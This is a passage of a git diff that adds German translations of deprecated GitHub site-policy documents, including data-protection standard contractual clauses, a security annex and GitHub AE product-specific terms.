+(h) er den betroffenen Personen auf Anfrage eine Kopie der Klauseln (mit Ausnahme von Anhang 2) sowie eine allgemeine Beschreibung der Sicherheitsmaßnahmen sowie ggf. eine Kopie von Verträgen für Unterverarbeitungsdienste in Übereinstimmung mit den Vorgaben in den Klauseln zur Verfügung stellt; in den Klauseln oder im Vertrag ggf. enthaltene Geschäftsinformationen dürfen entfernt werden;
+
+(i) bei der Vergabe eines Verarbeitungsauftrags an einen Unterauftragsverarbeiter die Verarbeitung gemäß Klausel 11 erfolgt und die personenbezogenen Daten und die Rechte der betroffenen Person mindestens ebenso geschützt sind wie vom Datenimporteur nach diesen Klauseln verlangt; und
+
+(j) er für die Einhaltung von Klausel 4 Buchstaben a bis i sorgt.
+
+#### Klausel 5: Verpflichtungen des Datenimporteurs
+Der Datenimporteur erklärt sich bereit und gewährleistet, dass
+
+(a) er die personenbezogenen Daten nur im Auftrag des Datenexporteurs und in Übereinstimmung mit dessen Anweisungen und den vorliegenden Klauseln verarbeitet; falls er dies aus irgendwelchen Gründen nicht einhalten kann, erklärt er sich bereit, den Datenexporteur unverzüglich davon in Kenntnis zu setzen, der unter diesen Umständen berechtigt ist, die Datenübermittlung auszusetzen und/oder den Vertrag zu kündigen;
+
+(b) er seines Wissens keinen Gesetzen unterliegt, die ihm die Befolgung der Anweisungen des Datenexporteurs und die Einhaltung seiner vertraglichen Pflichten unmöglich machen, und eine Gesetzesänderung, die sich voraussichtlich sehr nachteilig auf die Garantien und Pflichten auswirkt, die die Klauseln darlegen, dem Datenexporteur mitteilen wird, sobald er von einer solchen Änderung Kenntnis erhält; unter diesen Umständen ist der Datenexporteur berechtigt, die Datenübermittlung auszusetzen und/oder den Vertrag zu kündigen;
+
+(c) er vor der Verarbeitung der übermittelten personenbezogenen Daten die in Anhang 2 beschriebenen technischen und organisatorischen Sicherheitsmaßnahmen ergriffen hat;
+
+(d) er den Datenexporteur unverzüglich über Folgendes benachrichtigt:
+
+   (i) alle rechtlich bindenden Aufforderungen einer Vollstreckungsbehörde zur Offenlegung der personenbezogenen Daten, es sei denn, dies wäre anderweitig untersagt, beispielsweise durch ein strafrechtliches Verbot zur Wahrung des Untersuchungsgeheimnisses bei strafrechtlichen Ermittlungen;
+
+   (ii) jeden unbeabsichtigten oder unberechtigten Zugriff; und
+
+   (iii) alle Anfragen, die direkt von den betroffenen Personen an ihn gerichtet werden, ohne diese zu beantworten, es sei denn, er wäre anderweitig dazu berechtigt;
+
+(e) er alle Anfragen des Datenexporteurs im Zusammenhang mit der Verarbeitung der übermittelten personenbezogenen Daten durch den Datenexporteur unverzüglich und ordnungsgemäß bearbeitet und die Ratschläge der Kontrollstelle im Hinblick auf die Verarbeitung der übermittelten Daten befolgt;
+
+(f) er auf Verlangen des Datenexporteurs seine für die Verarbeitung erforderlichen Datenverarbeitungseinrichtungen zur Prüfung der unter die Klauseln fallenden Verarbeitungstätigkeiten zur Verfügung stellt. Die Prüfung kann vom Datenexporteur oder einem vom Datenexporteur ggf. in Absprache mit der Kontrollstelle ausgewählten Prüfgremium durchgeführt werden, dessen Mitglieder unabhängig sind, über die erforderlichen Qualifikationen verfügen und zur Vertraulichkeit verpflichtet sind;
+
+(g) er den betroffenen Personen auf Anfrage eine Kopie der Klauseln und gegebenenfalls bestehende Unterverarbeitungsverträge zur Verfügung stellt, es sei denn, die Klauseln oder der Vertrag enthalten Geschäftsinformationen: In diesem Fall können solche Geschäftsinformationen entfernt werden. Anhang 2 wird durch eine allgemeine Beschreibung der Sicherheitsmaßnahmen ersetzt, wenn die betroffene Person vom Datenexporteur keine solche Kopie erhalten kann;
+
+(h) er bei der Vergabe eines Verarbeitungsauftrags an einen Unterauftragsverarbeiter den Datenexporteur vorab benachrichtigt und seine schriftliche Einwilligung eingeholt hat;
+
+(i) der Unterauftragsverarbeiter die Datenverarbeitungsdienste in Übereinstimmung mit Klausel 11 erbringt; und
+
+(j) er dem Datenexporteur unverzüglich eine Kopie des Unterauftrags über die Datenverarbeitung zukommen lässt, den er nach den Klauseln geschlossen hat.
+
+#### Klausel 6: Haftung
+1. Die Parteien vereinbaren, dass jede betroffene Person, die durch eine Verletzung der in Klausel 3 oder 11 genannten Pflichten durch eine Partei oder einen Unterauftragsverarbeiter Schaden erlitten hat, berechtigt ist, vom Datenexporteur Schadenersatz für den erlittenen Schaden zu erlangen.
+
+2. Wenn die betroffene Person gegenüber dem Datenexporteur keine Schadenersatzansprüche gemäß Absatz 1 aufgrund eines Verstoßes des Datenimporteurs oder dessen Unterauftragsverarbeiters gegen in den Klauseln 3 und 11 genannte Verpflichtungen geltend machen kann, weil das Unternehmen des Datenexporteurs faktisch oder rechtlich nicht mehr besteht oder zahlungsunfähig ist, stimmt der Datenimporteur zu, dass die betroffene Person ihm statt dem Datenexporteur gegenüber Ansprüche geltend macht; es sei denn, ein Rechtsnachfolger hat durch Vertrag oder kraft Gesetzes sämtliche rechtlichen Pflichten des Datenexporteurs übernommen; in diesem Fall kann die betroffene Person ihre Ansprüche gegenüber dem Rechtsnachfolger geltend machen.
+
+Der Datenimporteur kann sich seiner Haftung nicht entziehen, indem er sich auf die Verantwortung des Unterauftragsverarbeiters für einen Verstoß beruft.
+
+3. Wenn die betroffene Person gegenüber dem Datenexporteur oder dem Datenimporteur keine Schadenersatzansprüche gemäß den Absätzen 1 und 2 aufgrund eines Verstoßes des Unterauftragsverarbeiters gegen in den Klauseln 3 und 11 aufgeführte Verpflichtungen geltend machen kann, weil sowohl das Unternehmen des Datenexporteurs als auch das Unternehmen des Datenimporteurs faktisch oder rechtlich nicht mehr bestehen oder zahlungsunfähig sind, stimmt der Unterauftragsverarbeiter zu, dass die betroffene Person im Zusammenhang mit seinen Datenverarbeitungstätigkeiten gemäß den Klauseln ihm statt dem Datenexporteur oder dem Datenimporteur gegenüber Ansprüche geltend macht; es sei denn, ein Rechtsnachfolger hat durch Vertrag oder kraft Gesetzes sämtliche rechtlichen Pflichten des Datenexporteurs oder Datenimporteurs übernommen; in diesem Fall kann die betroffene Person ihre Ansprüche gegenüber dem Rechtsnachfolger geltend machen. Eine solche Haftung des Unterauftragsverarbeiters ist auf dessen Verarbeitungstätigkeiten nach diesen Klauseln beschränkt.
+
+#### Klausel 7: Vermittlung und Rechtsprechung
+1. Für den Fall, dass eine betroffene Person gegenüber dem Datenimporteur Rechte als Drittbegünstigte und/oder Schadenersatzansprüche gemäß den Klauseln geltend macht, stimmt der Datenimporteur zu, die Entscheidung der betroffenen Person zu akzeptieren, um:
+
+(a) die Angelegenheit in einem Schlichtungsverfahren durch eine unabhängige Person oder gegebenenfalls durch die Kontrollstelle beizulegen;
+
+(b) die Gerichte des Mitgliedstaats, in dem der Datenexporteur niedergelassen ist, mit dem Streitfall zu befassen.
+
+2. Die Parteien stimmen zu, dass die Entscheidung der betroffenen Person nicht die materiellen Rechte oder Verfahrensrechte dieser Person berührt, nach anderen Bestimmungen des nationalen oder internationalen Rechts Rechtsbehelfe einzulegen.
+
+#### Klausel 8: Zusammenarbeit mit Aufsichtsbehörden
+1. Der Datenexporteur stimmt zu, eine Kopie dieses Vertrags bei der Kontrollstelle zu hinterlegen, wenn diese dies verlangt oder das anwendbare Datenschutzrecht dies so vorsieht.
+
+2. Die Parteien stimmen zu, dass die Kontrollstelle befugt ist, den Datenimporteur und mögliche Unterauftragsverarbeiter im gleichen Maße und unter denselben Bedingungen einer Prüfung zu unterziehen, unter denen die Kontrollstelle gemäß dem anwendbaren Datenschutzrecht auch den Datenexporteur prüfen müsste.
+
+3. Der Datenimporteur setzt den Datenexporteur unverzüglich über Rechtsvorschriften in Kenntnis, die für ihn oder etwaige Unterauftragsverarbeiter gelten und eine Prüfung des Datenimporteurs oder von Unterauftragsverarbeitern gemäß Absatz 2 verhindern. In diesem Fall ist der Datenexporteur berechtigt, die in Klausel 5 (b) vorgesehenen Maßnahmen zu ergreifen.
+
+#### Klausel 9: Geltendes Recht.
+Diese Klauseln unterliegen dem Recht des Mitgliedstaats, in dem der Datenexporteur ansässig ist.
+
+#### Klausel 10: Änderung des Vertrags
+Die Parteien verpflichten sich, die Klauseln nicht zu verändern. Es steht den Parteien allerdings frei, erforderlichenfalls weitere geschäftsbezogene Klauseln aufzunehmen, sofern diese nicht im Widerspruch zu der Klausel stehen.
+
+#### Klausel 11: Unterauftragsverarbeitung
+1. Der Datenimporteur darf ohne die vorherige schriftliche Zustimmung des Datenexporteurs keinen nach den Klauseln durch diesen Datenexporteur ausgeführten Verarbeitungsauftrag an einen Unterauftragnehmer vergeben. Vergibt der Datenimporteur mit Einwilligung des Datenexporteurs Unteraufträge, die den Pflichten der Klauseln unterliegen, ist dies nur im Wege einer schriftlichen Vereinbarung mit dem Unterauftragsverarbeiter möglich, die diesem die gleichen Pflichten auferlegt, die auch der Datenimporteur nach den Klauseln erfüllen muss. Sollte der Unterauftragsverarbeiter seinen Datenschutzpflichten nach der schriftlichen Vereinbarung nicht nachkommen, bleibt der Datenimporteur gegenüber dem Datenexporteur für die Erfüllung der Pflichten des Unterauftragsverarbeiters nach der Vereinbarung uneingeschränkt verantwortlich.
+
+2. Die vorherige schriftliche Vereinbarung zwischen dem Datenimporteur und dem Unterauftragsverarbeiter muss gemäß Klausel 3 auch eine Drittbegünstigtenklausel für Fälle enthalten, in denen die betroffene Person nicht in der Lage ist, einen Schadenersatzanspruch gemäß Klausel 6, Absatz 1 gegenüber dem Datenexporteur oder dem Datenimporteur geltend zu machen, weil diese faktisch oder rechtlich nicht mehr bestehen oder zahlungsunfähig sind und kein Rechtsnachfolger durch Vertrag oder kraft Gesetzes sämtliche rechtlichen Pflichten des Datenexporteurs oder des Datenimporteurs übernommen hat. Eine solche Haftpflicht des Unterauftragsverarbeiters ist auf dessen Verarbeitungstätigkeiten nach den Klauseln beschränkt.
+
+3. Für Datenschutzbestimmungen im Zusammenhang mit der Vergabe von Unteraufträgen über die Datenverarbeitung gemäß Absatz 1 gilt das Recht des Mitgliedstaats, in dem der Datenexporteur ansässig ist.
+
+4. Der Datenexporteur führt ein mindestens einmal jährlich zu aktualisierendes Verzeichnis der mit Unterauftragsverarbeitern gemäß den Klauseln geschlossenen Vereinbarungen, die vom Datenimporteur nach Klausel 5(j) übermittelt wurden. Das Verzeichnis wird der Kontrollstelle des Datenexporteurs bereitgestellt.
+
+#### Klausel 12: Verpflichtung nach der Beendigung von Diensten zur Verarbeitung personenbezogener Daten
+1. Die Parteien stimmen zu, dass der Datenimporteur und der Unterauftragsverarbeiter bei Beendigung der Datenverarbeitungsdienste je nach Wunsch des Datenexporteurs alle übermittelten personenbezogenen Daten und deren Kopien an den Datenexporteur zurückgeben oder alle personenbezogenen Daten vernichten und dem Datenexporteur bescheinigen, dass dies erfolgt ist; es sei denn, die Gesetzgebung, der der Datenimporteur unterliegt, untersagt diesem die Rücksendung oder Vernichtung aller übermittelten personenbezogenen Daten oder Teile dieser Daten. In diesem Fall garantiert der Datenimporteur, dass er die Vertraulichkeit der übermittelten personenbezogenen Daten gewährleistet und diese Daten nicht mehr aktiv weiterverarbeitet.
+
+2. Der Datenimporteur und der Unterauftragsverarbeiter gewährleisten, dass sie auf Verlangen des Datenexporteurs und/oder der Aufsichtsbehörde ihre Datenverarbeitungsanlagen für eine Prüfung der in Absatz 1 genannten Maßnahmen zur Verfügung stellen.
+
+### Anhang 1 zu den Standardvertragsklauseln
+Datenexporteur: Der Kunde ist der Datenexporteur.
+
+**Datenimporteur:** Der Datenimporteur ist GitHub, Inc., ein weltweit tätiger Anbieter von Software und Dienste.
+
+**Betroffene Personen:** Betroffene Personen sind die Vertreter und Endbenutzer des Datenexporteurs, darunter Mitarbeiter, Vertragspartner und Kunden des Datenexporteurs. Zu den betroffenen Personen können auch Personen gehören, die personenbezogene Daten an Benutzer der vom Datenimporteur bereitgestellten Dienste weitergeben oder übermitteln möchten. GitHub bestätigt, dass sich der Kunde abhängig von der Nutzung des Onlinediensts dafür entscheiden kann, personenbezogene Daten folgender Arten von betroffenen Personen in die personenbezogenen Daten von Kundenseite einzuschließen:
+
+- (derzeitige, ehemalige, zukünftige) Mitarbeiter, Auftragnehmer und Zeitarbeitnehmer des Datenexporteurs;
+- Abhängige der oben genannten Personen;
+- Partner/Kontaktpersonen des Datenexporteurs (natürliche Personen) oder Mitarbeiter, Auftragnehmer oder Zeitarbeiter von Partnern/Kontaktpersonen (juristische Personen) (aktuelle, ehemalige, zukünftige);
+- Benutzer (z. B. Kunden, Klienten, Patienten, Besucher usw.) und andere betroffene Personen, die die Dienste des Datenexporteurs nutzen;
+- Partner, Stakeholder oder einzelne Personen, die aktiv mit den Mitarbeitern des Datenexporteurs zusammenarbeiten, kommunizieren oder anderweitig interagieren und/oder Kommunikationsmittel wie Anwendungen und Websites verwenden, die vom Datenexporteur bereitgestellt werden;
+- Stakeholder oder einzelne Personen, die passiv mit dem Datenexporteur interagieren (etwa, weil sie Gegenstand einer Untersuchung oder Studie sind oder in Dokumenten oder in Korrespondenz mit dem Datenexporteur erwähnt werden); oder
+- Spezialisten mit beruflichen Privilegien (z. B. Ärzte, Anwälte, Notare, Kirchenmitarbeiter usw.).
+
+**Datenkategorien:** Die übermittelten personenbezogenen Daten, die in E-Mails, Dokumenten und anderen Daten in elektronischer Form im Kontext des Onlinediensts enthalten sind. GitHub bestätigt, dass sich der Kunde abhängig von der Nutzung des Onlinediensts dafür entscheiden kann, personenbezogene Daten aus folgenden Kategorien in die personenbezogenen Daten von Kundenseite einzuschließen:
+- Authentifizierungsdaten (z. B. Benutzername, E-Mail-Adresse, Kennwort);
+- Kontaktinformationen (z. B. E-Mail-Adresse);
+- eindeutige Identifikationsnummern und Signaturen (IP-Adressen, eindeutiger Bezeichner in Tracking-Cookies oder ähnlicher Technologie).
+- Andere Informationen zur eindeutigen Identifizierung. Betroffene Personen können weitere Daten wie echte Namen, Avatarbilder und andere personenbezogene Daten einschließen.
+
+**Besondere Kategorien personenbezogener Daten (falls zutreffend):** Besondere Kategorien personenbezogener Daten werden vom Datenimporteur im Rahmen der Erbringung seiner Dienste für den Datenexporteur nicht vorsätzlich gesammelt oder verarbeitet.
+
+Da der Datenimporteur allerdings Speicherdienste bereitstellt und keinen Einfluss auf die Kategorien der gespeicherten Daten hat, kann sich der Datenexporteur ggf. dafür entscheiden, besondere Kategorien personenbezogener Daten zu übertragen. Folglich hat allein der Datenexporteur dafür Sorge zu tragen, dass er sämtliche Pflichten erfüllt, die sich aus anwendbaren Gesetzen und Vorschriften zur Sammlung und Verarbeitung besonderer Kategorien personenbezogener Daten ergeben – einschließlich Einholung der ausdrücklichen Zustimmung der betroffenen Person vor der Verarbeitung vertraulicher personenbezogener Daten.
+
+**Verarbeitung:** Für die übertragenen personenbezogenen Daten werden folgende grundlegende Verarbeitungsaktivitäten ausgeführt: GitHub nutzt personenbezogene Daten für die eingeschränkten Zwecke, die in der GitHub-Datenschutzerklärung (https://docs.github.com/articles/github-privacy-statement/ ) und im Abschnitt „Datenverarbeitung“ der DPA festgelegt sind.
+
+**Vertragspartner:** Gemäß DPA kann der Datenimporteur andere Unternehmen damit beauftragen, im Namen des Datenimporteurs begrenzte Dienstleistungen zu erbringen (z. B. Kundensupport). Solchen Vertragspartnern ist es nur gestattet, personenbezogene Daten von Kundenseite für die Bereitstellung der Dienste zu erhalten, mit deren Bereitstellung der Datenimporteur sie beauftragt hat, und es ist ihnen untersagt, personenbezogene Daten von Kundenseite für andere Zwecke zu nutzen.
+
+### Anhang 2 zu den Standardvertragsklauseln
+Beschreibung der technischen und organisatorischen Sicherheitsmaßnahmen, die vom Datenimporteur in Übereinstimmungen mit Klausel 4 (d) und Klausel 5 (c) ergriffen wurden:
+
+**1. Personal.** Das Personal des Datenimporteurs verarbeitet personenbezogene Daten von Kundenseite nicht ohne Genehmigung. Das Personal ist verpflichtet, alle personenbezogenen Daten von Kundenseite vertraulich zu behandeln, und diese Verpflichtung gilt auch über die Beendigung ihres Beschäftigungsverhältnisses hinaus.
+
+**2. Ansprechpartner für Datenschutz.** Der Datenschutzbeauftragte des Datenimporteurs ist unter folgender Adresse zu erreichen: GitHub, Inc. Attn: Privacy 88 Colin P. Kelly Jr. Street San Francisco, CA 94107 USA
+
+**3. Technische und organisatorische Sicherheitsmaßnahmen.** Der Datenimporteur hat geeignete technische und organisatorische Maßnahmen, interne Kontrollen und IT-Sicherheitsroutinen eingerichtet und hält sie aufrecht, um personenbezogene Daten von Kundenseite gemäß Definition im GitHub-Anhang zur Sicherheit gegen unbeabsichtigten Verlust, Zerstörung oder Veränderung, unbefugte Offenlegung oder unbefugten Zugriff oder unrechtmäßige Zerstörung wie folgt zu schützen: Die technischen und organisatorischen Maßnahmen, internen Kontrollen und IT-Sicherheitsroutinen, die im GitHub-Anhang zur Sicherheit dargelegt sind, werden hiermit durch diesen Verweis in diesen Anhang 2 aufgenommen und sind für den Datenimporteur verbindlich, als währen in diesem Anhang 2 in ihrer Gesamtheit dargelegt.
+Die Unterschrift von GitHub, Inc. finden Sie weiter unten.
+
+Unterzeichnung der Standardvertragsklauseln sowie von Anhang 1 und Anhang 2 im Namen des Datenimporteurs
+
+![Lynn Hashimoto](/assets/images/lynn_hashimoto.png)
+
+Lynn Hashimoto, Head of Product & Regulatory Legal
+
+GitHub, Inc.
+
+## ANHANG ZUR SICHERHEIT
+
+### 1. Informationssicherheitsprogramm.
+
+#### 1.1 Sicherheitsmanagement.
+GitHub ergreift geeignete technische und organisatorische Maßnahmen, um Kundeninhalte und geschützte Daten vor unbeabsichtigter oder ungesetzlicher Vernichtung bzw. vor entsprechendem Verlust oder entsprechender Veränderung sowie vor unbefugter Offenlegung personenbezogener Daten, die übermittelt, gespeichert oder auf andere Weise verarbeitet werden, und vor unbefugtem Zugriff auf solche personenbezogenen Daten zu schützen (**Sicherheitsprogramm**). Diese Maßnahmen werden in einer GitHub-Sicherheitsrichtlinie festgelegt. GitHub stellt schriftliche Beschreibungen der Sicherheitskontrollen sowie andere Informationen bereit, die vom Kunden auf zumutbare Weise im Zusammenhang mit den Sicherheitspraktiken und -richtlinien von GitHub für den Onlinedienst angefordert werden.
+
+a.  Betriebsrichtlinie. GitHub führt Sicherheitsdokumente, in denen die Sicherheitsmaßnahmen und die relevanten Verfahren und Verantwortlichkeiten des Personals, das Zugriff auf Kundeninhalte und geschützte Daten hat, beschrieben sind.
+
+b.  Sicherheitsschulungen. GitHub informiert sein Personal über relevante Sicherheitsverfahren und ihre jeweiligen Rollen. Ferner informiert GitHub seine Mitarbeiter über mögliche Folgen einer Verletzung der Sicherheitsregeln und -verfahren. GitHub verwendet in Schulungen ausschließlich anonyme Daten.
+
+#### 1.2 Management von Sicherheitsvorfällen.
+GitHub stellt wie folgt ein Programm für das Management von Sicherheitsvorfällen für den Onlinedienst bereit:
+
+a.  Verfügbarkeit und Eskalation bei Sicherheitsvorfällen. GitHub setzt rund um die Uhr an allen Tagen der Woche angemessene Sicherheitskontakt- und Eskalationsverfahren um, um zu gewährleisten, dass Kunden und Mitarbeiter dem GitHub-Sicherheitsteam Probleme melden können.
+
+b.  Reaktion auf Vorfälle. Wenn GitHub auf eine Sicherheitsverletzung aufmerksam wird, die zur unbeabsichtigten oder unrechtmäßigen Zerstörung, zum Verlust, zur Veränderung, zur unbefugten Offenlegung oder zum unbefugten Zugriff auf Kundendaten oder personenbezogene Daten führt (jeweils ein „Sicherheitsvorfall“), wird GitHub den Kunden unverzüglich und ohne schuldhaftes Zögern (1) über den Sicherheitsvorfall informieren; (2) den Sicherheitsvorfall untersuchen und dem Kunden ausführliche Informationen zu dem Sicherheitsvorfall liefern; (3) angemessene Maßnahmen ergreifen, um die Auswirkungen zu mildern und den Schaden, der sich aus dem Sicherheitsvorfall ergibt, so gering wie möglich zu halten.
+
+c.  Benachrichtigung. Benachrichtigungen zu Sicherheitsvorfällen werden mindestens einem Administrator des Kunden auf die von GitHub gewählte Weise übermittelt. Es liegt in der alleinigen Verantwortung des Kunden, sicherzustellen, dass die Administratoren des Kunden Benachrichtigungen überwachen und darauf reagieren. Der Kunde ist allein verantwortlich für die Erfüllung seiner Verpflichtungen aus den für den Kunden geltenden Gesetzen über die Benachrichtigung über Vorfälle und die Erfüllung aller Benachrichtigungspflichten Dritter bei einem Sicherheitsvorfall.
+
+d.  Vertretbare Unterstützung. GitHub unternimmt wirtschaftlich vertretbare Anstrengungen, um den Kunden bei der Erfüllung seiner Benachrichtigungspflichten im Zusammenhang mit Sicherheitsvorfällen nach geltendem Recht oder nach geltenden Vorschriften gegenüber der zuständigen Kontrollstelle und betroffenen Personen zu unterstützen.
+
+#### 1.3 Gebührende Sorgfalt gegenüber Vertragspartnern und Anbietern.
+GitHub setzt Vertragspartner und Anbieter unter Wahrung der gebührenden Sorgfalt ein. GitHub bewahrt Anbieterbeurteilungsberichte und alle Beurteilungsunterlagen mindestens drei Jahre lang auf.
+
+#### 1.4 Physische und umgebungsbezogene Schutzmaßnahmen.
+a.  Physischer Zugang zu Einrichtungen. GitHub beschränkt den Zugang zu Einrichtungen mit Informationssystemen, die Kundeninhalte und geschützte Daten verarbeiten, auf bestimmte autorisierte Personen.
+
+b.  Physischer Zugang zu Komponenten. GitHub führt Aufzeichnungen über die eingehenden und ausgehenden Medien, die Kundeninhalte und geschützte Daten enthalten, einschließlich Art des Mediums, autorisierter Sender/autorisierte Empfänger, Datum und Uhrzeit, Anzahl von Medien und Arten von enthaltenen Kundeninhalten und geschützten Daten.
+
+c.  Schutz vor Störungen. GitHub verwendet branchenübliche Systeme, um Datenverluste aufgrund von Stromausfällen oder Leitungsstörungen zu verhindern.
+
+#### 2. Informationsanfragen.
+GitHub beantwortet auf schriftliche Anfrage des Kunden und höchstens einmal jährlich eine Informationsanfrage zur Beurteilung von Angaben zu Risiken im Zusammenhang mit Sicherheit und der Einhaltung von Vorschriften. Die Antwort erfolgt schriftlich innerhalb von dreißig Tagen nach Erhalt der Anfrage bzw. nach der Klärung ggf. nötiger Rückfragen.
+
+#### 3. Kooperation mit behördlichen Überprüfungen.
+Findet beim Kunden eine behördliche Überprüfung oder eine Überprüfung als Reaktion auf eine Kontrollstelle statt, bei der die Beteiligung von GitHub erforderlich ist, kooperiert GitHub bei entsprechenden Anfragen uneingeschränkt und ermöglicht den Zugang zu entsprechenden kompetenten Mitarbeitern sowie Zugriff auf Unterlagen und Anwendungssoftware. Der Kunde hat bei entsprechenden behördlichen Überprüfungen oder bei Überprüfungen der Kontrollstelle folgende Pflichten:
+
+a. Der Kunde muss sicherstellen, dass ein unabhängiger Dritter beauftragt wird (d. h. die Behörde oder ihr Vertreter) und dass der Kunde keinen Zugang zu Ergebnissen oder Daten hat, die für den Kunden nicht relevant sind.
+
+b. GitHub muss schriftlich und zeitnah (ggf. umgehend nach Mitteilung durch die Behörde) über eine solche Überprüfung informiert werden, und die Benachrichtigung muss so erfolgen, dass entsprechendes Personal zur Unterstützung bereitgestellt werden kann. Kündigen die Behörden dem Kunden die Überprüfung oder Untersuchung nicht im Voraus an, reagiert GitHub innerhalb der behördlich geforderten Fristen.
+
+c. Drittprüfer müssen GitHub gegenüber alle Ergebnisse und Maßnahmenempfehlungen offenlegen, sofern dies behördlich zulässig ist.
+
+d. Bei behördlichen Überprüfungen wird Zugang ausschließlich zu den regulären Geschäftszeiten (Pacific Time) gewährt.
+
+e. Insoweit dies gesetzlich zulässig ist, muss der Kunde alle bei einer entsprechenden Überprüfung von GitHub gesammelten Informationen, die ihrer Art nach vertraulich sind, vertraulich behandeln.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-product-specific-terms.md b/translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-product-specific-terms.md
new file mode 100644
index 0000000000..db5cbe8ed4
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/github-ae-product-specific-terms.md
@@ -0,0 +1,66 @@
+---
+title: "Produktspezifische GitHub\_AE-Bedingungen"
+hidden: true
+versions:
+  fpt: '*'
+redirect_from:
+  - /github/site-policy/ghem-supplemental-terms-for-microsoft-volume-licensing
+  - /github/site-policy/github-ae-product-specific-terms
+  - /github/site-policy-deprecated/github-ae-product-specific-terms
+ms.openlocfilehash: b9e4d1506b9c5531dbb05152087c5708d14728e4
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099294'
+---
+_Diese Bedingungen gelten für Kunden, die die Produkte vor dem 4. Januar 2021 lizenziert haben. Kunden, die GitHub-Produkte nach diesem Datum erwerben, werden zu den aktuellen Bestimmungen unter https://www.github.com/enterprise-legal weitergeleitet._
+
+Die Vereinbarung umfasst diese produktspezifischen GitHub AE-Bedingungen, die allgemeinen, vom Kunden akzeptierten Bedingungen und alle zusätzlichen Bedingungen, die GitHub oder seine verbundenen Unternehmen bei der Bestellung angeben.
+
+## 1. Konten.
+
+**Verantwortung für Konten.** Der Kunde hat die Kontrolle über Endbenutzerkonten und Inhalte und ist für sie verantwortlich.
+
+**Kontosicherheit.** Der Kunde ist dafür verantwortlich, die Sicherheit seiner Kontoanmeldeinformationen zu gewährleisten.
+
+**Nutzungsrichtlinien.** Die Endbenutzer des Kunden müssen sich an die Richtlinie für die akzeptable Nutzung (Acceptable Use Policy) halten.
+
+**Aussetzung.** GitHub ist berechtigt, die Nutzung des Onlinediensts während einer wesentlichen kundenseitigen Vertragsverletzung auszusetzen.
+
+**Zugriff:** GitHub greift nur auf Kundeninhalte zu, wenn dies bei Supportangelegenheiten oder aus Sicherheitsgründen erforderlich ist.
+
+**DMCA.** GitHub verfügt über eine DMCA-Richtlinie (Digital Millennium Copyright Act) zum Entfernen von Inhalten, die bei Forderungen im Zusammenhang mit Urheberrechtsverletzungen gilt.
+
+## 2. Inhalte.
+
+**Eigentum an Inhalten.** Der Kunde ist Eigentümer der von ihm erstellten Inhalte und hält sich vollständig an alle Lizenzen Dritter in Bezug auf die von ihm veröffentlichten Inhalte.
+
+**Lizenzgewährung für GitHub.** Sofern für Kundeninhalte keine separate Lizenz vorhanden ist, die GitHub die für den Betrieb des Onlinediensts erforderlichen Rechte einräumt, räumt der Kunde GitHub das Recht ein, die Kundeninhalte zu nutzen und gelegentlich Kopien anzufertigen, soweit dies für die Bereitstellung des Onlinediensts, für den Support oder aus Sicherheitsgründen erforderlich ist. Darüber hinaus kann GitHub gesetzlich verpflichtet sein, Kundeninhalte offenzulegen.
+
+## 3. GitHub-fremde Produkte.
+GitHub kann GitHub-fremde Produkte über den Onlinedienst verfügbar machen. Wenn der Kunde GitHub-fremde Produkte mit dem Onlinedienst verwendet, darf dies nicht in einer Weise erfolgen, die das geistige Eigentum von GitHub Verpflichtungen unterwerfen würde, die über die ausdrücklich in die Vereinbarung aufgenommenen Verpflichtungen hinausgehen. GitHub übernimmt keine Verantwortung oder Haftung für GitHub-fremde Produkte. Die Nutzung von GitHub-fremder Produkte durch den Kunden unterliegt den Bedingungen zwischen dem Kunden und dem Herausgeber der GitHub-fremden Produkte (sofern vorhanden).
+
+## 4. Support und SLA.
+Der Onlinedienst beinhaltet Support und SLA.
+
+## 5. Datenschutz und Sicherheit.
+Die Bedingungen der Datenschutzvereinbarung gelten für den Onlinedienst.
+
+## 6. Benachrichtigungen.
+Für GitHub bestimmte Benachrichtigungen sind an folgende Adresse zu richten: GitHub, Inc. Attn: Legal Dept., 88 Colin P. Kelly St, San Francisco, CA 94107 USA.
+
+## 7. Definitionen.
+Mit **Acceptable Use Policy** ist bei Käufen von GitHub die in der Websiterichtlinie verfügbare Acceptable Use Policy und bei Käufen von Microsoft die Acceptable Use Policy in den Microsoft-Bestimmungen für Onlinedienste gemeint.
+
+**Inhalte** sind Text, Daten, Software, Bilder und anderes Material, das über den Onlinedienst angezeigt oder anderweitig verfügbar gemacht wird.
+
+**Kundeninhalte** sind Inhalte, die der Kunde erstellt, besitzt oder an denen der Kunde die Rechte hält.
+
+**Datenschutzvereinbarung** ist die unter https://docs.github.com/github/site-policy verfügbare GitHub AE-Datenschutzvereinbarung.
+
+**DMCA-Richtlinie (Digital Millennium Copyright Act) zum Entfernen von Inhalten** ist der unter https://docs.github.com/github/site-policy verfügbare Prozess von GitHub zur Behandlung von Benachrichtigungen im Zusammenhang mit Urheberrechtsverstößen.
+
+**SLA** ist die unter https://docs.github.com/github/site-policy verfügbare Uptimezusage von GitHub für den Onlinedienst.
+
+**Support** ist das Premium Plus Support-Programm von GitHub, das unter https://docs.github.com/github/site-policy näher beschrieben ist.
diff --git a/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md
new file mode 100644
index 0000000000..9cf115a08a
--- /dev/null
+++ b/translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement.md
@@ -0,0 +1,57 @@
+---
+title: 'GitHub Enterprise Cloud: Bewertungsvereinbarung'
+hidden: true
+redirect_from:
+  - /articles/github-enterprise-cloud-evaluation-agreement
+  - /github/site-policy/github-enterprise-cloud-evaluation-agreement
+  - /github/site-policy-deprecated/github-enterprise-cloud-evaluation-agreement
+versions:
+  fpt: '*'
+ms.openlocfilehash: 314c130bd14f341126b6d1854ccf2b71fc94b699
+ms.sourcegitcommit: 93b306112b5cd5ce482d468a25c9961ad02f87ac
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 08/29/2022
+ms.locfileid: '147099302'
+---
